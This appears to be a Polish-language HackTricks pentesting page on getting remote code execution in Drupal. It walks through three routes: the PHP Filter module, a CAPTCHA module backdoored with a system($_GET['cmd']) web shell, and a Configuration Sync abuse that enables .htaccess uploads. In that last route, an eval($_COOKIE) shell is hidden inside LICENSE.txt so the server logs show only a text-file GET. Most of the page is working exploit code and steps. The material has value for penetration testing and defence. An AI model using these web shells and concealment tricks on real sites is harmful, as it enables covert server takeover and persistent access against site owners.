13 KiB
Drupal RCE
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Z modułem PHP Filter
{% hint style="warning" %}
W starszych wersjach Drupala (przed wersją 8), możliwe było zalogowanie się jako administrator i włączenie modułu PHP filter
, który "Pozwala na ocenę osadzonego kodu/snippetów PHP." Jednak od wersji 8 ten moduł nie jest instalowany domyślnie.
{% endhint %}
Musisz mieć zainstalowany plugin php (sprawdź, wchodząc do /modules/php i jeśli zwraca 403, to istnieje, jeśli nie znaleziono, to plugin php nie jest zainstalowany)
Przejdź do Modules -> (Sprawdź) PHP Filter -> Zapisz konfigurację
Następnie kliknij na Dodaj treść -> Wybierz Podstawowa strona lub Artykuł -> Napisz php shellcode w treści -> Wybierz Kod PHP w Formacie tekstu -> Wybierz Podgląd
Na koniec po prostu uzyskaj dostęp do nowo utworzonego węzła:
curl http://drupal-site.local/node/3
Zainstaluj moduł PHP Filter
{% hint style="warning" %} W aktualnych wersjach nie jest już możliwe instalowanie wtyczek tylko przy dostępie do sieci po domyślnej instalacji. {% endhint %}
Od wersji 8 wzwyż, moduł PHP Filter nie jest instalowany domyślnie. Aby skorzystać z tej funkcjonalności, musimy zainstalować moduł samodzielnie.
- Pobierz najnowszą wersję modułu ze strony Drupal.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Po pobraniu przejdź do
Administracja
>Raporty
>Dostępne aktualizacje
. - Kliknij na
Przeglądaj
, wybierz plik z katalogu, do którego go pobrano, a następnie kliknijZainstaluj
. - Po zainstalowaniu modułu możemy kliknąć na
Treść
i utworzyć nową stronę podstawową, podobnie jak w przykładzie Drupal 7. Ponownie upewnij się, że wybrałeśKod PHP
z rozwijanego menuFormat tekstu
.
Moduł z backdoorem
{% hint style="warning" %} W aktualnych wersjach nie jest już możliwe instalowanie wtyczek tylko przy dostępie do sieci po domyślnej instalacji. {% endhint %}
Moduł z backdoorem można stworzyć przez dodanie powłoki do istniejącego modułu. Moduły można znaleźć na stronie drupal.org. Wybierzmy moduł taki jak CAPTCHA. Przewiń w dół i skopiuj link do archiwum tar.gz archiwum.
- Pobierz archiwum i wypakuj jego zawartość.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Stwórz PHP web shell z zawartością:
<?php
system($_GET["cmd"]);
?>
- Następnie musimy utworzyć plik
.htaccess
, aby uzyskać dostęp do folderu. Jest to konieczne, ponieważ Drupal odmawia bezpośredniego dostępu do folderu/modules
.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Powyższa konfiguracja zastosuje zasady dla folderu /, gdy zażądamy pliku w /modules. Skopiuj oba te pliki do folderu captcha i utwórz archiwum.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Zakładając, że mamy dostęp administracyjny do strony, kliknij na
Zarządzaj
a następnieRozszerz
w pasku bocznym. Następnie kliknij przycisk+ Zainstaluj nowy moduł
, a zostaniemy przeniesieni na stronę instalacji, taką jakhttp://drupal-site.local/admin/modules/install
. Przeglądaj archiwum z backdoored Captcha i kliknijZainstaluj
. - Po pomyślnej instalacji, przeglądaj do
/modules/captcha/shell.php
, aby wykonać polecenia.
Backdooring Drupal z synchronizacją konfiguracji
Post udostępniony przez Coiffeur0x90
Część 1 (aktywacja Media i Biblioteka mediów)
W menu Rozszerz (/admin/modules) możesz aktywować to, co wydaje się być już zainstalowanymi wtyczkami. Domyślnie wtyczki Media i Biblioteka mediów nie wydają się być aktywowane, więc aktywujmy je.
Przed aktywacją:
Po aktywacji:
Część 2 (wykorzystanie funkcji Synchronizacja konfiguracji)
Wykorzystamy funkcję Synchronizacja konfiguracji, aby zrzucić (eksportować) i przesłać (importować) wpisy konfiguracji Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Zacznijmy od patchowania pierwszego wpisu allow_insecure_uploads
z:
Plik: system.file.yml
...
allow_insecure_uploads: false
...
Do:
Plik: system.file.yml
...
allow_insecure_uploads: true
...
Patch field.field.media.document.field_media_document.yml
Następnie, załatw drugi wpis file_extensions
z:
Plik: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Do:
Plik: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Nie używam tego w tym wpisie na blogu, ale zauważono, że możliwe jest zdefiniowanie wpisu
file_directory
w dowolny sposób i że jest on podatny na atak typu path traversal (więc możemy cofnąć się w górę w drzewie systemu plików Drupal).
Część 3 (wykorzystanie funkcji Dodaj dokument)
Ostatni krok jest najprostszy i dzieli się na dwa podkroki. Pierwszy to przesłanie pliku w formacie .htaccess, aby wykorzystać dyrektywy Apache i umożliwić interpretację plików .txt przez silnik PHP. Drugi to przesłanie pliku .txt zawierającego nasz ładunek.
Plik: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Dlaczego ten trik jest fajny?
Ponieważ gdy Webshell (który nazwiemy LICENSE.txt) zostanie umieszczony na serwerze WWW, możemy przesyłać nasze polecenia za pomocą $_COOKIE
, a w logach serwera WWW pojawi się to jako legalne żądanie GET do pliku tekstowego.
Dlaczego nazywamy nasz Webshell LICENSE.txt?
Po prostu dlatego, że jeśli weźmiemy następujący plik, na przykład core/LICENSE.txt (który już znajduje się w rdzeniu Drupal), mamy plik o długości 339 linii i rozmiarze 17,6 KB, co jest idealne do dodania małego fragmentu kodu PHP w środku (ponieważ plik jest wystarczająco duży).
Plik: Zaktualizowany LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Część 3.1 (prześlij plik .htaccess)
Najpierw wykorzystujemy funkcję Dodaj dokument (/media/add/document), aby przesłać nasz plik zawierający dyrektywy Apache (.htaccess).
Część 3.2 (prześlij plik LICENSE.txt)
Następnie ponownie wykorzystujemy funkcję Dodaj dokument (/media/add/document), aby przesłać Webshell ukryty w pliku licencyjnym.
Część 4 (interakcja z Webshell)
Ostatnia część polega na interakcji z Webshell.
Jak pokazano na poniższym zrzucie ekranu, jeśli ciasteczko oczekiwane przez nasz Webshell nie jest zdefiniowane, otrzymujemy następujący wynik podczas konsultacji pliku za pomocą przeglądarki internetowej.
Gdy atakujący ustawi ciasteczko, może interagować z Webshell i wykonywać dowolne polecenia, które chce.
Jak widać w logach, wygląda na to, że żądany był tylko plik txt.
Dziękuję za poświęcenie czasu na przeczytanie tego artykułu, mam nadzieję, że pomoże Ci zdobyć kilka shelli.
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.